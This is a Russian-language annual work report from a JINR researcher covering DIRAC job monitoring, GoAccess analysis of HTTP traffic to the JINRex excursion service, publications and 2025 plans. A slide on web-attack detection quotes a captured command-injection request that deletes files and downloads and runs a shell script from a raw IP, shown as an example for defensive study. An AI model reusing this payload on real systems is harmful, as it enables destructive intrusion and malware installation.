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Объявленные задачи на 2024 г.
1. Подготовка production-версии приложения для мониторинга задач и анализа 

производительности ресурсов в рамках платформы DIRAC. 
1. Интеграция системы детального мониторинга задач для быстрого получения информации об 

использовании ресурсов конкретной задачей.
2. Реализация автоматического расчёта статистических показателей выполненных задач в виде 

таблиц и графиков.
3. Реализация возможности кластеризации задач по классам. 
4. Интеграция системы в инфраструктуру DIRAC компьютинга экспериментов BES-III, JUNO и CEPC.

2. Исследование подходов, существующих решений и платформ к мониторингу 
входящих сетевых запросов для таких сервисов как JINRex и других открытых извне 
систем. Проектирование и разработка программных модулей для сбора данных, их 
визуализации и анализа.

1. Реализация программных модулей по сбору данных.
2. Проектирование и реализация способа хранения полученных данных.
3. Проектирование и создание модуля анализа данных.
4. Проектирование и разработка модуля визуализации полученных результатов.

3. Развитие функционала и сопровождение системы планирования и учета экскурсий 
JINRex.
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Приложение для мониторинга задач и 
анализа производительности ресурсов 
в рамках платформы DIRAC
(совместно с н. с. НТО ВКиРИС И.С. Пелеванюком)
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Сотрудничество с коллегами из Вычислительного центра Института Физики Высоких Энергий (IHEP CAS, г. Пекин, Китай)
21.04.2024 – 30.04.2024
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Кластеризация задач

0) XeCs_3.8AGeVjam_xecs_3.26gev_rqmdrmf_MD3_[\d+]_[\d+].mcini.root
1) mpd_run_Top_[\d+]_ev[1|0]_p[\d+].root
2) mpd_run_Top_[\d+]_ev[1|0]_p[\d+].data
3) CheckFile: [\d+].rand
4) GenerateFilesTest: [\d+]
5) spd-maps-e-job[\d+]
6) spd-dssd-e-job[\d+]
7) spd-maps-o2-job[\d+]
8) CheckFile: input_[\d+]
9) mcread_2021_[\w]_[\d+]_[\d+]_[\d+]
10) simgvd_2021_cors7_[\d+]
11) XeCs_3.8AGeVjam_xecs_3.26gev_rqmdrmf_MD3_[\d+]_[\d+].sim.root
12) spd-k-job[\d+]

Метрики, используемые для оценки качества кластеризации:
• Коэффициент силуэта: количественно определяет, насколько хорошо точка данных вписывается в 
назначенный ей кластер и насколько она обособлена от других кластеров. Значение варьируется от -1 до
1, где значения близкие к 1 указывают на хорошую кластеризацию.
• Индекс Дэвиса-Боулдина — метрика проверки, которая используется для оценки моделей 
кластеризации. Рассчитывается как средняя мера сходства каждого кластера с кластером, наиболее 
похожим на него. В этом контексте сходство определяется как отношение межкластерных и 
внутрикластерных расстояний. Таким образом, этот индекс ранжирует хорошо разделенные кластеры с 
меньшей дисперсией как имеющие более высокую оценку.
Значения индекса Дэвиса-Боулдина варьируются от 0 до ∞.
Низкие значения (ближе к 0) указывают на хорошее качество кластеризации, что означает, что кластеры 
хорошо разделены и имеют высокую внутреннюю компактность.
Высокие значения указывают на плохое качество кластеризации, что означает, что кластеры пересекаются 
и имеют низкую внутреннюю плотность.

ai – внутрикластерное расстояние
bi – межкластерное расстояние
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Исследование подходов, существующих решений и 
платформ к мониторингу входящих сетевых запросов для 
таких сервисов как JINRex и других открытых извне систем. 
Проектирование и разработка программных модулей для 
сбора данных, их визуализации и анализа
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Исследование существующих решений
В качестве предпочтительного выбран инструмент 
с открытым исходным кодом GoAccess.
Основной причиной данного выбора является 
высокая производительность GoAccess в 
обработке и визуализации логов в реальном 
времени, что позволяет быстро получать 
аналитическую информацию о веб-трафике и 
поведении пользователей.
Кроме того, GoAccess отличается простотой в 
установке и настройке, а также предоставляет 
удобный интерфейс и возможности генерации 
отчетов в различных форматах, включая HTML-
представление.
В отличие от более сложных и ресурсоемких 
решений, таких как ELK stack, GoAccess
предоставляет эффективные инструменты для 
анализа данных без значительных затрат на 
вычислительные ресурсы.
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• 2.1. Реализация программных модулей по сбору данных.

• Выполнена. Настроены правила ротации логов сервера Apache. Реализованы: скрипт парсинга логов входящих подключений, скрипт
получения и накопления детальной информации о локациях и организациях, осуществляющих входящие HTTP-запросы к веб-
сервисам Института.

• 2.2. Проектирование и реализация способа хранения полученных данных.

• Выполнена. Полученные данные хранятся в виде файлов в формате JSON, что значительно упростило процесс развертывания и
управления данными в облачной среде.

• 2.3. Проектирование и создание модуля анализа данных.

• Выполнена частично. Проведенная предобработка и визуализация данных о входящих HTTP-запросах является важным шагом для
обеспечения качества и доступности информации для последующего анализа. Результаты, полученные в ходе данной работы,
позволяют выявить закономерности, служащие основой для проектирования и создания соответствующего модуля анализа данных.
Модуль может включать в себя алгоритмы статистического анализа, машинного и глубокого обучения, которые позволят выявить
скрытые закономерности, тренды и аномалии. Таким образом, дальнейшая разработка модуля должна быть основана на
интеграции этих алгоритмов, что обеспечит более полное и глубокое понимание данных, а также повысит эффективность принятия
решений на основе полученных аналитических результатов.
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To output to a terminal and generate an interactive
report
goaccess access.log

To generate a JSON report
goaccess access.log -o report.json

To generate an HTML report
goaccess access.log -o report.html

Multiple log files
zcat access.log.*.gz | goaccess

Matching pattern tool such as grep
zcat access.log.*.gz | grep '01/Dec/24' | goaccess -o 
report.json
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HTML-отчет GoAccess
HTML-отчеты, генерируемые GoAccess, не 
предоставляют возможности интерактивной 
фильтрации данных и соответствующей перестройки 
визуализаций, что ограничивает гибкость анализа 
представленных результатов. В связи с этим был 
разработан клиент-серверный подход, клиентская 
часть которого включает в себя поля для фильтрации 
данных. После задания пользователем критериев 
фильтрации соответствующие параметры передаются на 
сервер, где осуществляется обработка данных в 
соответствии с полученными критериями фильтрации. В 
результате этой обработки на клиентскую часть 
возвращается обновленный HTML-отчет, генерируемый с 
использованием инструмента GoAccess. Таким образом, 
была успешно реализована интерактивная фильтрация 
данных, что позволяет более эффективно анализировать 
информацию в режиме реального времени.

Решение используется для мониторинга сетевых 
подключений двух внутренних сервисов ОИЯИ.

Получаемые данные позволяют не только строить 
статистику по данным входящих HTTP-запросов к веб-
сервисам по различным срезам, но и накапливать эти 
данные с целью дальнейшего анализа и 
прогнозирования возможных веб-атак (например, 
используя методы анализа временных рядов или 
методы глубокого обучения).

Также начата работа по созданию автономного решения 
для визуализации данных с использованием библиотеки 
Plotly.

2.4. Проектирование и разработка модуля визуализации полученных результатов
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Подходы к разработке интеллектуального алгоритма определения веб-атак

https://jinrex.jinr.ru/jinrex/?code=4496783595&state= 
https://jinrex.jinr.ru/admin/app/excursion/

https://jinrex.jinr.ru/admin/sysadmin/index.php?lang=en
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget

http://94.156.8.244/tenda.sh; chmod 777 tenda.sh%3 ./tenda.sh)

 Рекуррентные нейронные сети
 Сверточные нейронные сети
 Seq2Seq модели
 Гибридные модели 
 Регрессионные алгоритмы
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Развитие функционала и сопровождение 
системы планирования и учета экскурсий 
JINRex
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Система планирования и учета экскурсий JINRex
функционирует в штатном режиме с начала 2022 г., 
включена в состав информационных сервисов Цифровой 
ЭкоСистемы ОИЯИ (ЦЭС ОИЯИ) в 2022 г. и используется 
сотрудниками всех лабораторий ОИЯИ, включая 
руководящий состав лабораторий.

2023 г. 2024 г. (на 19.11.2024)

При использовании 
системы было 
проведено экскурсий

Более 190 Более 200

В среднем 
проводилось 
экскурсий в месяц

15 18

Количество 
пользователей 
системы

+62 (итого: 188) +168 (итого: 356)

Количество сеансов 
использования

Более 5000 Более 351800

Количество 
просмотров 
календаря в ЦЭС 
(кроме 
администраторов)

Более 990 Более 1490
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В рамках развития алгоритмов получения статистики по 
проведенным экскурсиям было проведено изучение 
существующих решений в области  глубокого обучения 
для извлечения именованных сущностей, с целью 
заполнения недостающих данных в контексте системы 
планирования и учета экскурсий ОИЯИ.

Описание проблемы, постановка задачи, обоснование 
выбора инструментов, а также сравнение и 
интерпретация результатов были доложены на 28-ой 
Международной научной конференции молодых ученых 
и специалистов (AYSS-2024) в докладе «Practical
comparative analysis of named entity recognition methods
for JINR digital services».

Окончательный алгоритм заполнения пробелов в данных 
включает использование выбранных по результатам 
данного исследования моделей, обеспечивая точную 
идентификацию и классификацию недостающих 
сущностей.

Развитие алгоритмов получения статистики
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Список научных работ за 2024 г. Участие в научных мероприятиях за 2024 г.

1. Campis, D., Ilina, A. & Pelevanyuk, I. System for Analysis of the Performance of
Scientific Jobs in Distributed Systems. Phys. Part. Nuclei 55, 401–403 (2024). 
https://doi.org/10.1134/S1063779624030262.

2. Belov, S., Ilina, A., Korenkov, V. et al. Exploring the Relevance of Educational
Skillset in the Labor Market through Natural Language Processing Techniques. 
Phys. Part. Nuclei 55, 584–587 (2024). 
https://doi.org/10.1134/S106377962403016X

3. A. Ilina. Practical comparative analysis of named entity recognition methods for 
JINR digital services // 28th International Scientific Conference of Young Scientists 
and Specialists (AYSS-2024) Proceedings – PEPAN Letters (подана).

1. 28th International Scientific Conference of Young Scientists and Specialists (AYSS-
2024), Joint Institute for Nuclear Research, Dubna, Russia. Practical comparative
analysis of named entity recognition methods for JINR digital services, A. Ilina,
Секция “Information Technology", 2024. (доклад; лично)

В рамках педагогической деятельности в 2024 г.

1. Проведение семинарских занятий по дисциплине «Аналитика Больших данных», Государственный университет «Дубна», 01.02.2024 г. - 08.06.2024 г.

2. Проведение семинарских занятий по дисциплине «Методы и технологии машинного обучения в прикладных задачах», Государственный университет «Дубна», 
02.09.2024 г. – н. вр.

Другое за 2024 г.

1. XXVIII Летняя научная школа молодых учёных и специалистов "Липня-2024". – Туристический приют ОИЯИ "Липня", остров Липня, Иваньковское водохранилище, 
Тверская область. – Член организационного комитета от ЛИТ. – 19.07.2024 – 21.07.2024.

2. В октябре 2024 г. подана заявка на получение свидетельства о государственной регистрации программы для ЭВМ «Программа визуализации и учёта технологий и 
компетенций организации» в Федеральную службу по интеллектуальной собственности «Роспатент» (в соавторстве с н. с. ЛИТ НТО ВКиРИС И. С. Пелеванюком).

3. Окончание аспирантуры и защита НКР на тему «Информационно-аналитическая система анализа соответствия и адаптации программ высшего образования в 
сфере IT-технологий потребностям рынка труда».
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План работ на 2025 г.
1. Проектирование и разработка интеллектуального алгоритма анализа безопасности 

сетевых подключений к внутренним ресурсам, размещенным в облачной среде ЛИТ ОИЯИ 
(в рамках темы 06-6-1118-2014/2030 “Многофункциональный информационно-
вычислительный комплекс (МИВК)” Проблемно-тематического плана ОИЯИ).

2. Разработка методов искусственного интеллекта в рамках развития многоцелевой 
программно-аппаратной платформы аналитики Больших данных для интеллектуальной 
обработки текстов, включая алгоритмы определения семантической близости между 
текстами, извлечение именованных сущностей и пр., с целью повышения эффективности 
работы с технической и научной информацией (в рамках темы 06-6-1118-2014/2030 
“Многофункциональный информационно-вычислительный комплекс (МИВК)” Проблемно-
тематического плана ОИЯИ).

3. Развитие и поддержка веб-приложения системы мониторинга выполнения задач в 
распределенной инфраструктуре DIRAC (в рамках темы 06-6-1118-2014/2030 
“Многофункциональный информационно-вычислительный комплекс (МИВК)” Проблемно-
тематического плана ОИЯИ).

4. Поддержка системы планирования и учета экскурсий JINRex.
5. Работа над кандидатской диссертацией.
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Спасибо за внимание!
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